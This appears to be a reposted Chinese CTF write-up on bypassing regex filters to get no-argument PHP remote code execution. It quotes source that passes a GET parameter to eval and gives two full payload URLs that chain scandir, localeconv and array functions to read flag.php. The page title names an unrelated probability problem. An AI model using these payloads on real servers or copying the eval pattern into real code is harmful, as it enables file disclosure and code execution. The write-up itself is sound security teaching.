1. 程式人生 > 其它 >P4550 收集郵票(期望dp)

P4550 收集郵票(期望dp)

知識點

無引數RCE

審題

個人不喜歡一上來就用自動化的工具這裡掃掃那裡掃掃 因為之前在比賽的時候 web剛出一道題 一堆人上來就是拿著御劍啊sqlmap啊在那掃 後來直到第二題放出來前第一題根本沒辦法做 後面看了wp才知道要用githack掃 原始碼洩露 我就沒掃了 就先貼上掃出來的原始碼

<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

明顯是個RCE 只不過有三層過濾 首先第一層:php偽協議用不了了 第二層:(?R)引用當前表示式,後面加了?遞迴呼叫。只能匹配通過無引數的函式。 第三層:et info等函式也用不了 典型的無引數rce 簡單來說 我們需要用全域性變數來rce

解題

以一般的思路來說 肯定是要先scandir的 沒有scandir沒辦法往下做 但是問題是scandir需要一個目錄 而如果掃描當前目錄的話需要一個"." 第一部的預想就是要構造一個"."
localeconv()
可能有人沒見過這個函式(是我了) 但是他在這很重要

看上圖 返回的第一個陣列就是'.' 但是畢竟是陣列 還不是'.' 不過既然是陣列 可以用current()

current()
這個函式返回預設的是當前陣列的第一個 加上之後就過了第一步 拿到了目錄 可以了 不做了

下一步 我們只是拿到了這個陣列的鍵值 還沒有拿到這個陣列對應flag鍵值的具體值
array_flip()
這個函式就可以做到剛剛說的 然後我們得到了鍵值

再下一步 這是道rce 我們最後是@eval 也就是說我們到時候讀沒辦法把整個數組裡的東西一次性讀出來 只能通過highlight_file或者show_source flag.php的方法 簡單來說就是要一個單獨的flag.php這個倒數第二個值

那咋辦嘛

接下來就是判斷你血統的時候了
array_rand()
簡單來說這個函式可以隨機返回一個數組裡的值 我們剛剛日出了鍵值 這個函式就可以隨機返回一個鍵值

你運氣好的話可以玩一整天

然後就在外面套一層highlight_file或者show_source就能拿到flag了 完整payload

http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

假如你不想檢驗血統

假如你不能這樣做一整天的話 還有個函式叫array_reverse() 簡單來說就是逆序輸出陣列 但是我們的那個flag在倒數第二個 所以我們還需要一個next() 顧名思義 輸出下一個 把這個next套在
array_reverse()外面 完整payload

http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));

EOF